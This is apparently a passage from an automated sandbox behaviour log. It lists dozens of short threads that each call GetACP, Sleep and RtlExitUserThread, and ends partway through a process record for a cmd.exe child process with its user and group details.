returned 0x4e4 [0234.391] Sleep (dwMilliseconds=0x0) [0234.542] RtlExitUserThread (Status=0x0) Thread: id = 2303 os_tid = 0x2270 [0234.391] GetACP () returned 0x4e4 [0234.391] GetACP () returned 0x4e4 [0234.391] Sleep (dwMilliseconds=0x0) [0234.543] RtlExitUserThread (Status=0x0) Thread: id = 2304 os_tid = 0x2274 [0234.392] GetACP () returned 0x4e4 [0234.392] GetACP () returned 0x4e4 [0234.392] Sleep (dwMilliseconds=0x0) [0234.544] RtlExitUserThread (Status=0x0) Thread: id = 2305 os_tid = 0x2278 [0234.393] GetACP () returned 0x4e4 [0234.393] GetACP () returned 0x4e4 [0234.393] Sleep (dwMilliseconds=0x0) [0234.545] RtlExitUserThread (Status=0x0) Thread: id = 2306 os_tid = 0x227c [0234.393] GetACP () returned 0x4e4 [0234.393] GetACP () returned 0x4e4 [0234.393] Sleep (dwMilliseconds=0x0) [0234.546] RtlExitUserThread (Status=0x0) Thread: id = 2307 os_tid = 0x2280 [0234.394] GetACP () returned 0x4e4 [0234.394] GetACP () returned 0x4e4 [0234.394] Sleep (dwMilliseconds=0x0) [0234.546] RtlExitUserThread (Status=0x0) Thread: id = 2308 os_tid = 0x2284 [0234.394] GetACP () returned 0x4e4 [0234.395] GetACP () returned 0x4e4 [0234.395] Sleep (dwMilliseconds=0x0) [0234.547] RtlExitUserThread (Status=0x0) Thread: id = 2309 os_tid = 0x2288 [0234.395] GetACP () returned 0x4e4 [0234.395] GetACP () returned 0x4e4 [0234.395] Sleep (dwMilliseconds=0x0) [0234.548] RtlExitUserThread (Status=0x0) Thread: id = 2310 os_tid = 0x228c [0234.396] GetACP () returned 0x4e4 [0234.396] GetACP () returned 0x4e4 [0234.396] Sleep (dwMilliseconds=0x0) [0234.549] RtlExitUserThread (Status=0x0) Thread: id = 2311 os_tid = 0x2290 [0234.396] GetACP () returned 0x4e4 [0234.396] GetACP () returned 0x4e4 [0234.396] Sleep (dwMilliseconds=0x0) [0234.550] RtlExitUserThread (Status=0x0) Thread: id = 2312 os_tid = 0x2294 [0234.397] GetACP () returned 0x4e4 [0234.397] GetACP () returned 0x4e4 [0234.397] Sleep (dwMilliseconds=0x0) [0234.550] RtlExitUserThread (Status=0x0) Thread: id = 2313 os_tid = 0x2298 [0234.398] GetACP () returned 0x4e4 [0234.398] GetACP () returned 0x4e4 [0234.398] Sleep (dwMilliseconds=0x0) [0234.551] RtlExitUserThread (Status=0x0) Thread: id = 2314 os_tid = 0x229c [0234.398] GetACP () returned 0x4e4 [0234.398] GetACP () returned 0x4e4 [0234.398] Sleep (dwMilliseconds=0x0) [0234.552] RtlExitUserThread (Status=0x0) Thread: id = 2315 os_tid = 0x22a0 [0234.399] GetACP () returned 0x4e4 [0234.399] GetACP () returned 0x4e4 [0234.399] Sleep (dwMilliseconds=0x0) [0234.552] RtlExitUserThread (Status=0x0) Thread: id = 2316 os_tid = 0x22a4 [0234.399] GetACP () returned 0x4e4 [0234.399] GetACP () returned 0x4e4 [0234.399] Sleep (dwMilliseconds=0x0) [0234.553] RtlExitUserThread (Status=0x0) Thread: id = 2337 os_tid = 0x22f8 [0234.554] GetACP () returned 0x4e4 [0234.554] GetACP () returned 0x4e4 [0234.554] Sleep (dwMilliseconds=0x0) [0234.721] RtlExitUserThread (Status=0x0) Thread: id = 2338 os_tid = 0x22fc [0234.554] GetACP () returned 0x4e4 [0234.555] GetACP () returned 0x4e4 [0234.555] Sleep (dwMilliseconds=0x0) [0234.722] RtlExitUserThread (Status=0x0) Thread: id = 2339 os_tid = 0x2300 [0234.555] GetACP () returned 0x4e4 [0234.555] GetACP () returned 0x4e4 [0234.555] Sleep (dwMilliseconds=0x0) [0234.723] RtlExitUserThread (Status=0x0) Thread: id = 2340 os_tid = 0x2304 [0234.555] GetACP () returned 0x4e4 [0234.555] GetACP () returned 0x4e4 [0234.555] Sleep (dwMilliseconds=0x0) [0234.723] RtlExitUserThread (Status=0x0) Thread: id = 2341 os_tid = 0x2308 [0234.556] GetACP () returned 0x4e4 [0234.556] GetACP () returned 0x4e4 [0234.556] Sleep (dwMilliseconds=0x0) [0234.724] RtlExitUserThread (Status=0x0) Thread: id = 2342 os_tid = 0x230c [0234.556] GetACP () returned 0x4e4 [0234.556] GetACP () returned 0x4e4 [0234.556] Sleep (dwMilliseconds=0x0) [0234.725] RtlExitUserThread (Status=0x0) Thread: id = 2343 os_tid = 0x2310 [0234.557] GetACP () returned 0x4e4 [0234.557] GetACP () returned 0x4e4 [0234.557] Sleep (dwMilliseconds=0x0) [0234.726] RtlExitUserThread (Status=0x0) Thread: id = 2344 os_tid = 0x2314 [0234.557] GetACP () returned 0x4e4 [0234.557] GetACP () returned 0x4e4 [0234.557] Sleep (dwMilliseconds=0x0) [0234.727] RtlExitUserThread (Status=0x0) Thread: id = 2345 os_tid = 0x2318 [0234.558] GetACP () returned 0x4e4 [0234.558] GetACP () returned 0x4e4 [0234.558] Sleep (dwMilliseconds=0x0) [0234.727] RtlExitUserThread (Status=0x0) Thread: id = 2346 os_tid = 0x231c [0234.558] GetACP () returned 0x4e4 [0234.558] GetACP () returned 0x4e4 [0234.558] Sleep (dwMilliseconds=0x0) [0234.728] RtlExitUserThread (Status=0x0) Thread: id = 2347 os_tid = 0x2320 [0234.558] GetACP () returned 0x4e4 [0234.559] GetACP () returned 0x4e4 [0234.559] Sleep (dwMilliseconds=0x0) [0234.729] RtlExitUserThread (Status=0x0) Thread: id = 2348 os_tid = 0x2324 [0234.559] GetACP () returned 0x4e4 [0234.559] GetACP () returned 0x4e4 [0234.559] Sleep (dwMilliseconds=0x0) [0234.730] RtlExitUserThread (Status=0x0) Thread: id = 2349 os_tid = 0x2328 [0234.560] GetACP () returned 0x4e4 [0234.560] GetACP () returned 0x4e4 [0234.560] Sleep (dwMilliseconds=0x0) [0234.730] RtlExitUserThread (Status=0x0) Thread: id = 2350 os_tid = 0x232c [0234.560] GetACP () returned 0x4e4 [0234.560] GetACP () returned 0x4e4 [0234.560] Sleep (dwMilliseconds=0x0) [0234.731] RtlExitUserThread (Status=0x0) Thread: id = 2351 os_tid = 0x2330 [0234.561] GetACP () returned 0x4e4 [0234.561] GetACP () returned 0x4e4 [0234.561] Sleep (dwMilliseconds=0x0) [0234.732] RtlExitUserThread (Status=0x0) Thread: id = 2352 os_tid = 0x2334 [0234.561] GetACP () returned 0x4e4 [0234.561] GetACP () returned 0x4e4 [0234.561] Sleep (dwMilliseconds=0x0) [0234.733] RtlExitUserThread (Status=0x0) Thread: id = 2353 os_tid = 0x2338 [0234.561] GetACP () returned 0x4e4 [0234.561] GetACP () returned 0x4e4 [0234.561] Sleep (dwMilliseconds=0x0) [0234.734] RtlExitUserThread (Status=0x0) Thread: id = 2354 os_tid = 0x233c [0234.562] GetACP () returned 0x4e4 [0234.562] GetACP () returned 0x4e4 [0234.562] Sleep (dwMilliseconds=0x0) [0234.734] RtlExitUserThread (Status=0x0) Thread: id = 2355 os_tid = 0x2340 [0234.562] GetACP () returned 0x4e4 [0234.562] GetACP () returned 0x4e4 [0234.562] Sleep (dwMilliseconds=0x0) [0234.735] RtlExitUserThread (Status=0x0) Thread: id = 2356 os_tid = 0x2344 [0234.563] GetACP () returned 0x4e4 [0234.563] GetACP () returned 0x4e4 [0234.563] Sleep (dwMilliseconds=0x0) [0234.736] RtlExitUserThread (Status=0x0) Thread: id = 2377 os_tid = 0x2398 [0234.737] GetACP () returned 0x4e4 [0234.737] GetACP () returned 0x4e4 [0234.737] Sleep (dwMilliseconds=0x0) [0234.922] RtlExitUserThread (Status=0x0) Thread: id = 2378 os_tid = 0x239c [0234.738] GetACP () returned 0x4e4 [0234.738] GetACP () returned 0x4e4 [0234.738] Sleep (dwMilliseconds=0x0) [0234.923] RtlExitUserThread (Status=0x0) Thread: id = 2379 os_tid = 0x23a0 [0234.738] GetACP () returned 0x4e4 [0234.738] GetACP () returned 0x4e4 [0234.739] Sleep (dwMilliseconds=0x0) [0234.923] RtlExitUserThread (Status=0x0) Thread: id = 2380 os_tid = 0x23a4 [0234.739] GetACP () returned 0x4e4 [0234.739] GetACP () returned 0x4e4 [0234.739] Sleep (dwMilliseconds=0x0) [0234.924] RtlExitUserThread (Status=0x0) Thread: id = 2381 os_tid = 0x23a8 [0234.740] GetACP () returned 0x4e4 [0234.740] GetACP () returned 0x4e4 [0234.740] Sleep (dwMilliseconds=0x0) [0234.925] RtlExitUserThread (Status=0x0) Thread: id = 2382 os_tid = 0x23ac [0234.740] GetACP () returned 0x4e4 [0234.740] GetACP () returned 0x4e4 [0234.740] Sleep (dwMilliseconds=0x0) [0234.925] RtlExitUserThread (Status=0x0) Thread: id = 2383 os_tid = 0x23b0 [0234.741] GetACP () returned 0x4e4 [0234.741] GetACP () returned 0x4e4 [0234.741] Sleep (dwMilliseconds=0x0) [0234.926] RtlExitUserThread (Status=0x0) Thread: id = 2384 os_tid = 0x23b4 [0234.741] GetACP () returned 0x4e4 [0234.741] GetACP () returned 0x4e4 [0234.741] Sleep (dwMilliseconds=0x0) [0234.927] RtlExitUserThread (Status=0x0) Thread: id = 2385 os_tid = 0x23b8 [0234.742] GetACP () returned 0x4e4 [0234.742] GetACP () returned 0x4e4 [0234.742] Sleep (dwMilliseconds=0x0) [0234.927] RtlExitUserThread (Status=0x0) Thread: id = 2386 os_tid = 0x23bc [0234.742] GetACP () returned 0x4e4 [0234.742] GetACP () returned 0x4e4 [0234.743] Sleep (dwMilliseconds=0x0) [0234.928] RtlExitUserThread (Status=0x0) Thread: id = 2387 os_tid = 0x23c0 [0234.743] GetACP () returned 0x4e4 [0234.743] GetACP () returned 0x4e4 [0234.743] Sleep (dwMilliseconds=0x0) [0234.928] RtlExitUserThread (Status=0x0) Thread: id = 2388 os_tid = 0x23c4 [0234.744] GetACP () returned 0x4e4 [0234.744] GetACP () returned 0x4e4 [0234.744] Sleep (dwMilliseconds=0x0) [0234.929] RtlExitUserThread (Status=0x0) Thread: id = 2389 os_tid = 0x23c8 [0234.744] GetACP () returned 0x4e4 [0234.744] GetACP () returned 0x4e4 [0234.744] Sleep (dwMilliseconds=0x0) [0234.929] RtlExitUserThread (Status=0x0) Thread: id = 2390 os_tid = 0x23cc [0234.745] GetACP () returned 0x4e4 [0234.745] GetACP () returned 0x4e4 [0234.745] Sleep (dwMilliseconds=0x0) [0234.930] RtlExitUserThread (Status=0x0) Thread: id = 2391 os_tid = 0x23d0 [0234.745] GetACP () returned 0x4e4 [0234.745] GetACP () returned 0x4e4 [0234.745] Sleep (dwMilliseconds=0x0) [0234.930] RtlExitUserThread (Status=0x0) Thread: id = 2392 os_tid = 0x23d4 [0234.746] GetACP () returned 0x4e4 [0234.746] GetACP () returned 0x4e4 [0234.746] Sleep (dwMilliseconds=0x0) [0234.931] RtlExitUserThread (Status=0x0) Thread: id = 2393 os_tid = 0x23d8 [0234.747] GetACP () returned 0x4e4 [0234.747] GetACP () returned 0x4e4 [0234.747] Sleep (dwMilliseconds=0x0) [0234.932] RtlExitUserThread (Status=0x0) Thread: id = 2394 os_tid = 0x23dc [0234.747] GetACP () returned 0x4e4 [0234.747] GetACP () returned 0x4e4 [0234.747] Sleep (dwMilliseconds=0x0) [0234.933] RtlExitUserThread (Status=0x0) Thread: id = 2395 os_tid = 0x23e0 [0234.748] GetACP () returned 0x4e4 [0234.748] GetACP () returned 0x4e4 [0234.748] Sleep (dwMilliseconds=0x0) [0234.933] RtlExitUserThread (Status=0x0) Thread: id = 2396 os_tid = 0x23e4 [0234.748] GetACP () returned 0x4e4 [0234.748] GetACP () returned 0x4e4 [0234.748] Sleep (dwMilliseconds=0x0) [0234.934] RtlExitUserThread (Status=0x0) Thread: id = 2417 os_tid = 0x242c [0234.935] GetACP () returned 0x4e4 [0234.935] GetACP () returned 0x4e4 [0234.935] Sleep (dwMilliseconds=0x0) [0235.140] RtlExitUserThread (Status=0x0) Thread: id = 2418 os_tid = 0x2430 [0234.935] GetACP () returned 0x4e4 [0234.935] GetACP () returned 0x4e4 [0234.935] Sleep (dwMilliseconds=0x0) [0235.141] RtlExitUserThread (Status=0x0) Thread: id = 2419 os_tid = 0x2434 [0234.936] GetACP () returned 0x4e4 [0234.936] GetACP () returned 0x4e4 [0234.936] Sleep (dwMilliseconds=0x0) [0235.142] RtlExitUserThread (Status=0x0) Thread: id = 2420 os_tid = 0x2438 [0234.936] GetACP () returned 0x4e4 [0234.936] GetACP () returned 0x4e4 [0234.936] Sleep (dwMilliseconds=0x0) [0235.142] RtlExitUserThread (Status=0x0) Thread: id = 2421 os_tid = 0x243c [0234.937] GetACP () returned 0x4e4 [0234.937] GetACP () returned 0x4e4 [0234.937] Sleep (dwMilliseconds=0x0) [0235.143] RtlExitUserThread (Status=0x0) Thread: id = 2422 os_tid = 0x2440 [0234.937] GetACP () returned 0x4e4 [0234.937] GetACP () returned 0x4e4 [0234.937] Sleep (dwMilliseconds=0x0) [0235.144] RtlExitUserThread (Status=0x0) Thread: id = 2423 os_tid = 0x2444 [0234.938] GetACP () returned 0x4e4 [0234.938] GetACP () returned 0x4e4 [0234.938] Sleep (dwMilliseconds=0x0) [0235.145] RtlExitUserThread (Status=0x0) Thread: id = 2424 os_tid = 0x2448 [0234.938] GetACP () returned 0x4e4 [0234.938] GetACP () returned 0x4e4 [0234.938] Sleep (dwMilliseconds=0x0) [0235.145] RtlExitUserThread (Status=0x0) Thread: id = 2425 os_tid = 0x244c [0234.938] GetACP () returned 0x4e4 [0234.938] GetACP () returned 0x4e4 [0234.938] Sleep (dwMilliseconds=0x0) [0235.146] RtlExitUserThread (Status=0x0) Thread: id = 2426 os_tid = 0x2450 [0234.939] GetACP () returned 0x4e4 [0234.939] GetACP () returned 0x4e4 [0234.939] Sleep (dwMilliseconds=0x0) [0235.147] RtlExitUserThread (Status=0x0) Thread: id = 2427 os_tid = 0x2454 [0234.939] GetACP () returned 0x4e4 [0234.939] GetACP () returned 0x4e4 [0234.939] Sleep (dwMilliseconds=0x0) [0235.148] RtlExitUserThread (Status=0x0) Thread: id = 2428 os_tid = 0x2458 [0234.940] GetACP () returned 0x4e4 [0234.940] GetACP () returned 0x4e4 [0234.940] Sleep (dwMilliseconds=0x0) [0235.148] RtlExitUserThread (Status=0x0) Thread: id = 2429 os_tid = 0x245c [0234.940] GetACP () returned 0x4e4 [0234.940] GetACP () returned 0x4e4 [0234.940] Sleep (dwMilliseconds=0x0) [0235.149] RtlExitUserThread (Status=0x0) Thread: id = 2430 os_tid = 0x2460 [0234.940] GetACP () returned 0x4e4 [0234.940] GetACP () returned 0x4e4 [0234.940] Sleep (dwMilliseconds=0x0) [0235.150] RtlExitUserThread (Status=0x0) Thread: id = 2431 os_tid = 0x2464 [0234.941] GetACP () returned 0x4e4 [0234.941] GetACP () returned 0x4e4 [0234.941] Sleep (dwMilliseconds=0x0) [0235.151] RtlExitUserThread (Status=0x0) Thread: id = 2432 os_tid = 0x2468 [0234.941] GetACP () returned 0x4e4 [0234.941] GetACP () returned 0x4e4 [0234.941] Sleep (dwMilliseconds=0x0) [0235.151] RtlExitUserThread (Status=0x0) Thread: id = 2433 os_tid = 0x246c [0234.942] GetACP () returned 0x4e4 [0234.942] GetACP () returned 0x4e4 [0234.942] Sleep (dwMilliseconds=0x0) [0235.152] RtlExitUserThread (Status=0x0) Thread: id = 2434 os_tid = 0x2470 [0234.942] GetACP () returned 0x4e4 [0234.942] GetACP () returned 0x4e4 [0234.942] Sleep (dwMilliseconds=0x0) [0235.153] RtlExitUserThread (Status=0x0) Thread: id = 2435 os_tid = 0x2474 [0234.943] GetACP () returned 0x4e4 [0234.943] GetACP () returned 0x4e4 [0234.943] Sleep (dwMilliseconds=0x0) [0235.154] RtlExitUserThread (Status=0x0) Thread: id = 2436 os_tid = 0x2478 [0234.943] GetACP () returned 0x4e4 [0234.943] GetACP () returned 0x4e4 [0234.943] Sleep (dwMilliseconds=0x0) [0235.154] RtlExitUserThread (Status=0x0) Thread: id = 2457 os_tid = 0x24cc [0235.156] GetACP () returned 0x4e4 [0235.156] GetACP () returned 0x4e4 [0235.156] Sleep (dwMilliseconds=0x0) [0235.340] RtlExitUserThread (Status=0x0) Thread: id = 2458 os_tid = 0x24d0 [0235.157] GetACP () returned 0x4e4 [0235.157] GetACP () returned 0x4e4 [0235.157] Sleep (dwMilliseconds=0x0) [0235.341] RtlExitUserThread (Status=0x0) Thread: id = 2459 os_tid = 0x24d4 [0235.157] GetACP () returned 0x4e4 [0235.157] GetACP () returned 0x4e4 [0235.157] Sleep (dwMilliseconds=0x0) [0235.342] RtlExitUserThread (Status=0x0) Thread: id = 2460 os_tid = 0x24d8 [0235.158] GetACP () returned 0x4e4 [0235.158] GetACP () returned 0x4e4 [0235.158] Sleep (dwMilliseconds=0x0) [0235.343] RtlExitUserThread (Status=0x0) Thread: id = 2461 os_tid = 0x24dc [0235.158] GetACP () returned 0x4e4 [0235.158] GetACP () returned 0x4e4 [0235.158] Sleep (dwMilliseconds=0x0) [0235.343] RtlExitUserThread (Status=0x0) Thread: id = 2462 os_tid = 0x24e0 [0235.159] GetACP () returned 0x4e4 [0235.159] GetACP () returned 0x4e4 [0235.159] Sleep (dwMilliseconds=0x0) [0235.344] RtlExitUserThread (Status=0x0) Thread: id = 2463 os_tid = 0x24e4 [0235.159] GetACP () returned 0x4e4 [0235.159] GetACP () returned 0x4e4 [0235.160] Sleep (dwMilliseconds=0x0) [0235.345] RtlExitUserThread (Status=0x0) Thread: id = 2464 os_tid = 0x24e8 [0235.160] GetACP () returned 0x4e4 [0235.160] GetACP () returned 0x4e4 [0235.160] Sleep (dwMilliseconds=0x0) [0235.346] RtlExitUserThread (Status=0x0) Thread: id = 2465 os_tid = 0x24ec [0235.161] GetACP () returned 0x4e4 [0235.161] GetACP () returned 0x4e4 [0235.161] Sleep (dwMilliseconds=0x0) [0235.346] RtlExitUserThread (Status=0x0) Thread: id = 2466 os_tid = 0x24f0 [0235.162] GetACP () returned 0x4e4 [0235.162] GetACP () returned 0x4e4 [0235.162] Sleep (dwMilliseconds=0x0) [0235.347] RtlExitUserThread (Status=0x0) Thread: id = 2467 os_tid = 0x24f4 [0235.162] GetACP () returned 0x4e4 [0235.162] GetACP () returned 0x4e4 [0235.162] Sleep (dwMilliseconds=0x0) [0235.348] RtlExitUserThread (Status=0x0) Thread: id = 2468 os_tid = 0x24f8 [0235.163] GetACP () returned 0x4e4 [0235.163] GetACP () returned 0x4e4 [0235.163] Sleep (dwMilliseconds=0x0) [0235.348] RtlExitUserThread (Status=0x0) Thread: id = 2469 os_tid = 0x24fc [0235.163] GetACP () returned 0x4e4 [0235.163] GetACP () returned 0x4e4 [0235.163] Sleep (dwMilliseconds=0x0) [0235.349] RtlExitUserThread (Status=0x0) Thread: id = 2470 os_tid = 0x2500 [0235.164] GetACP () returned 0x4e4 [0235.164] GetACP () returned 0x4e4 [0235.164] Sleep (dwMilliseconds=0x0) [0235.350] RtlExitUserThread (Status=0x0) Thread: id = 2471 os_tid = 0x2504 [0235.165] GetACP () returned 0x4e4 [0235.165] GetACP () returned 0x4e4 [0235.165] Sleep (dwMilliseconds=0x0) [0235.351] RtlExitUserThread (Status=0x0) Thread: id = 2472 os_tid = 0x2508 [0235.165] GetACP () returned 0x4e4 [0235.165] GetACP () returned 0x4e4 [0235.165] Sleep (dwMilliseconds=0x0) [0235.351] RtlExitUserThread (Status=0x0) Thread: id = 2473 os_tid = 0x250c [0235.166] GetACP () returned 0x4e4 [0235.166] GetACP () returned 0x4e4 [0235.166] Sleep (dwMilliseconds=0x0) [0235.352] RtlExitUserThread (Status=0x0) Thread: id = 2474 os_tid = 0x2510 [0235.166] GetACP () returned 0x4e4 [0235.166] GetACP () returned 0x4e4 [0235.166] Sleep (dwMilliseconds=0x0) [0235.353] RtlExitUserThread (Status=0x0) Thread: id = 2475 os_tid = 0x2514 [0235.167] GetACP () returned 0x4e4 [0235.167] GetACP () returned 0x4e4 [0235.167] Sleep (dwMilliseconds=0x0) [0235.354] RtlExitUserThread (Status=0x0) Thread: id = 2476 os_tid = 0x2518 [0235.167] GetACP () returned 0x4e4 [0235.167] GetACP () returned 0x4e4 [0235.167] Sleep (dwMilliseconds=0x0) [0235.354] RtlExitUserThread (Status=0x0) Thread: id = 2497 os_tid = 0x256c [0235.356] GetACP () returned 0x4e4 [0235.356] GetACP () returned 0x4e4 [0235.356] Sleep (dwMilliseconds=0x0) [0235.513] RtlExitUserThread (Status=0x0) Thread: id = 2498 os_tid = 0x2570 [0235.356] GetACP () returned 0x4e4 [0235.356] GetACP () returned 0x4e4 [0235.356] Sleep (dwMilliseconds=0x0) [0235.514] RtlExitUserThread (Status=0x0) Thread: id = 2499 os_tid = 0x2574 [0235.357] GetACP () returned 0x4e4 [0235.357] GetACP () returned 0x4e4 [0235.357] Sleep (dwMilliseconds=0x0) [0235.515] RtlExitUserThread (Status=0x0) Thread: id = 2500 os_tid = 0x2578 [0235.358] GetACP () returned 0x4e4 [0235.358] GetACP () returned 0x4e4 [0235.358] Sleep (dwMilliseconds=0x0) [0235.516] RtlExitUserThread (Status=0x0) Thread: id = 2501 os_tid = 0x257c [0235.358] GetACP () returned 0x4e4 [0235.358] GetACP () returned 0x4e4 [0235.358] Sleep (dwMilliseconds=0x0) [0235.516] RtlExitUserThread (Status=0x0) Thread: id = 2502 os_tid = 0x2580 [0235.359] GetACP () returned 0x4e4 [0235.359] GetACP () returned 0x4e4 [0235.359] Sleep (dwMilliseconds=0x0) [0235.517] RtlExitUserThread (Status=0x0) Thread: id = 2503 os_tid = 0x2584 [0235.359] GetACP () returned 0x4e4 [0235.359] GetACP () returned 0x4e4 [0235.359] Sleep (dwMilliseconds=0x0) [0235.518] RtlExitUserThread (Status=0x0) Thread: id = 2504 os_tid = 0x2588 [0235.360] GetACP () returned 0x4e4 [0235.360] GetACP () returned 0x4e4 [0235.360] Sleep (dwMilliseconds=0x0) [0235.519] RtlExitUserThread (Status=0x0) Thread: id = 2505 os_tid = 0x258c [0235.360] GetACP () returned 0x4e4 [0235.360] GetACP () returned 0x4e4 [0235.360] Sleep (dwMilliseconds=0x0) [0235.519] RtlExitUserThread (Status=0x0) Thread: id = 2506 os_tid = 0x2590 [0235.361] GetACP () returned 0x4e4 [0235.361] GetACP () returned 0x4e4 [0235.361] Sleep (dwMilliseconds=0x0) [0235.520] RtlExitUserThread (Status=0x0) Thread: id = 2507 os_tid = 0x2594 [0235.361] GetACP () returned 0x4e4 [0235.361] GetACP () returned 0x4e4 [0235.361] Sleep (dwMilliseconds=0x0) [0235.521] RtlExitUserThread (Status=0x0) Thread: id = 2508 os_tid = 0x2598 [0235.362] GetACP () returned 0x4e4 [0235.362] GetACP () returned 0x4e4 [0235.362] Sleep (dwMilliseconds=0x0) [0235.522] RtlExitUserThread (Status=0x0) Thread: id = 2509 os_tid = 0x259c [0235.362] GetACP () returned 0x4e4 [0235.362] GetACP () returned 0x4e4 [0235.362] Sleep (dwMilliseconds=0x0) [0235.522] RtlExitUserThread (Status=0x0) Thread: id = 2510 os_tid = 0x25a0 [0235.363] GetACP () returned 0x4e4 [0235.363] GetACP () returned 0x4e4 [0235.363] Sleep (dwMilliseconds=0x0) [0235.523] RtlExitUserThread (Status=0x0) Thread: id = 2511 os_tid = 0x25a4 [0235.363] GetACP () returned 0x4e4 [0235.363] GetACP () returned 0x4e4 [0235.364] Sleep (dwMilliseconds=0x0) [0235.524] RtlExitUserThread (Status=0x0) Thread: id = 2512 os_tid = 0x25a8 [0235.364] GetACP () returned 0x4e4 [0235.364] GetACP () returned 0x4e4 [0235.364] Sleep (dwMilliseconds=0x0) [0235.524] RtlExitUserThread (Status=0x0) Thread: id = 2513 os_tid = 0x25ac [0235.364] GetACP () returned 0x4e4 [0235.365] GetACP () returned 0x4e4 [0235.365] Sleep (dwMilliseconds=0x0) [0235.525] RtlExitUserThread (Status=0x0) Thread: id = 2514 os_tid = 0x25b0 [0235.365] GetACP () returned 0x4e4 [0235.365] GetACP () returned 0x4e4 [0235.365] Sleep (dwMilliseconds=0x0) [0235.526] RtlExitUserThread (Status=0x0) Thread: id = 2515 os_tid = 0x25b4 [0235.366] GetACP () returned 0x4e4 [0235.366] GetACP () returned 0x4e4 [0235.366] Sleep (dwMilliseconds=0x0) [0235.526] RtlExitUserThread (Status=0x0) Thread: id = 2516 os_tid = 0x25b8 [0235.366] GetACP () returned 0x4e4 [0235.366] GetACP () returned 0x4e4 [0235.366] Sleep (dwMilliseconds=0x0) [0235.527] RtlExitUserThread (Status=0x0) Thread: id = 2537 os_tid = 0x260c [0235.528] GetACP () returned 0x4e4 [0235.528] GetACP () returned 0x4e4 [0235.528] Sleep (dwMilliseconds=0x0) [0235.673] RtlExitUserThread (Status=0x0) Thread: id = 2538 os_tid = 0x2610 [0235.529] GetACP () returned 0x4e4 [0235.529] GetACP () returned 0x4e4 [0235.529] Sleep (dwMilliseconds=0x0) [0235.673] RtlExitUserThread (Status=0x0) Thread: id = 2539 os_tid = 0x2614 [0235.529] GetACP () returned 0x4e4 [0235.529] GetACP () returned 0x4e4 [0235.529] Sleep (dwMilliseconds=0x0) [0235.674] RtlExitUserThread (Status=0x0) Thread: id = 2540 os_tid = 0x2618 [0235.529] GetACP () returned 0x4e4 [0235.529] GetACP () returned 0x4e4 [0235.529] Sleep (dwMilliseconds=0x0) [0235.675] RtlExitUserThread (Status=0x0) Thread: id = 2541 os_tid = 0x261c [0235.530] GetACP () returned 0x4e4 [0235.530] GetACP () returned 0x4e4 [0235.530] Sleep (dwMilliseconds=0x0) [0235.676] RtlExitUserThread (Status=0x0) Thread: id = 2542 os_tid = 0x2620 [0235.530] GetACP () returned 0x4e4 [0235.530] GetACP () returned 0x4e4 [0235.530] Sleep (dwMilliseconds=0x0) [0235.676] RtlExitUserThread (Status=0x0) Thread: id = 2543 os_tid = 0x2624 [0235.531] GetACP () returned 0x4e4 [0235.531] GetACP () returned 0x4e4 [0235.531] Sleep (dwMilliseconds=0x0) [0235.677] RtlExitUserThread (Status=0x0) Thread: id = 2544 os_tid = 0x2628 [0235.531] GetACP () returned 0x4e4 [0235.531] GetACP () returned 0x4e4 [0235.531] Sleep (dwMilliseconds=0x0) [0235.678] RtlExitUserThread (Status=0x0) Thread: id = 2545 os_tid = 0x262c [0235.531] GetACP () returned 0x4e4 [0235.531] GetACP () returned 0x4e4 [0235.531] Sleep (dwMilliseconds=0x0) [0235.679] RtlExitUserThread (Status=0x0) Thread: id = 2546 os_tid = 0x2630 [0235.532] GetACP () returned 0x4e4 [0235.532] GetACP () returned 0x4e4 [0235.532] Sleep (dwMilliseconds=0x0) [0235.679] RtlExitUserThread (Status=0x0) Thread: id = 2547 os_tid = 0x2634 [0235.532] GetACP () returned 0x4e4 [0235.533] GetACP () returned 0x4e4 [0235.533] Sleep (dwMilliseconds=0x0) [0235.680] RtlExitUserThread (Status=0x0) Thread: id = 2548 os_tid = 0x2638 [0235.533] GetACP () returned 0x4e4 [0235.533] GetACP () returned 0x4e4 [0235.533] Sleep (dwMilliseconds=0x0) [0235.681] RtlExitUserThread (Status=0x0) Thread: id = 2549 os_tid = 0x263c [0235.534] GetACP () returned 0x4e4 [0235.534] GetACP () returned 0x4e4 [0235.534] Sleep (dwMilliseconds=0x0) [0235.681] RtlExitUserThread (Status=0x0) Thread: id = 2550 os_tid = 0x2640 [0235.534] GetACP () returned 0x4e4 [0235.534] GetACP () returned 0x4e4 [0235.534] Sleep (dwMilliseconds=0x0) [0235.682] RtlExitUserThread (Status=0x0) Thread: id = 2551 os_tid = 0x2644 [0235.535] GetACP () returned 0x4e4 [0235.535] GetACP () returned 0x4e4 [0235.535] Sleep (dwMilliseconds=0x0) [0235.683] RtlExitUserThread (Status=0x0) Thread: id = 2552 os_tid = 0x2648 [0235.536] GetACP () returned 0x4e4 [0235.536] GetACP () returned 0x4e4 [0235.536] Sleep (dwMilliseconds=0x0) [0235.684] RtlExitUserThread (Status=0x0) Thread: id = 2553 os_tid = 0x264c [0235.536] GetACP () returned 0x4e4 [0235.536] GetACP () returned 0x4e4 [0235.536] Sleep (dwMilliseconds=0x0) [0235.684] RtlExitUserThread (Status=0x0) Thread: id = 2554 os_tid = 0x2650 [0235.537] GetACP () returned 0x4e4 [0235.537] GetACP () returned 0x4e4 [0235.537] Sleep (dwMilliseconds=0x0) [0235.685] RtlExitUserThread (Status=0x0) Thread: id = 2555 os_tid = 0x2654 [0235.537] GetACP () returned 0x4e4 [0235.537] GetACP () returned 0x4e4 [0235.537] Sleep (dwMilliseconds=0x0) [0235.686] RtlExitUserThread (Status=0x0) Thread: id = 2556 os_tid = 0x2658 [0235.538] GetACP () returned 0x4e4 [0235.538] GetACP () returned 0x4e4 [0235.538] Sleep (dwMilliseconds=0x0) [0235.687] RtlExitUserThread (Status=0x0) Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xc7fd000" os_pid = "0x2698" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdac" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], 